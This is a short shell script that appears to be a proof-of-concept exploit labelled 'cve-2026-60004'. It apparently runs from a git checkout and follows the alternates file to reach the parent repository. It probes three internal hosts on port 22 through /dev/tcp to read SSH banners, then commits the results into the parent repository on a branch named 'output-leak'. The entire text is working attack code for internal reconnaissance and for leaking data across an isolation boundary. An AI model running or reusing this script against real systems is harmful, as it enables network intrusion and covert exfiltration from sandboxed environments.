#!/bin/sh GD=$(git rev-parse --absolute-git-dir) REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') OUT=$(for ip in 10.209.15.5 10.209.15.81 10.209.15.200; do echo "== $ip =="; timeout 3 bash -c "exec 3<>/dev/tcp/$ip/22; head -2 <&3" 2>&1; done 2>&1; echo "[exit-status=$?]") BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output") git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM" #A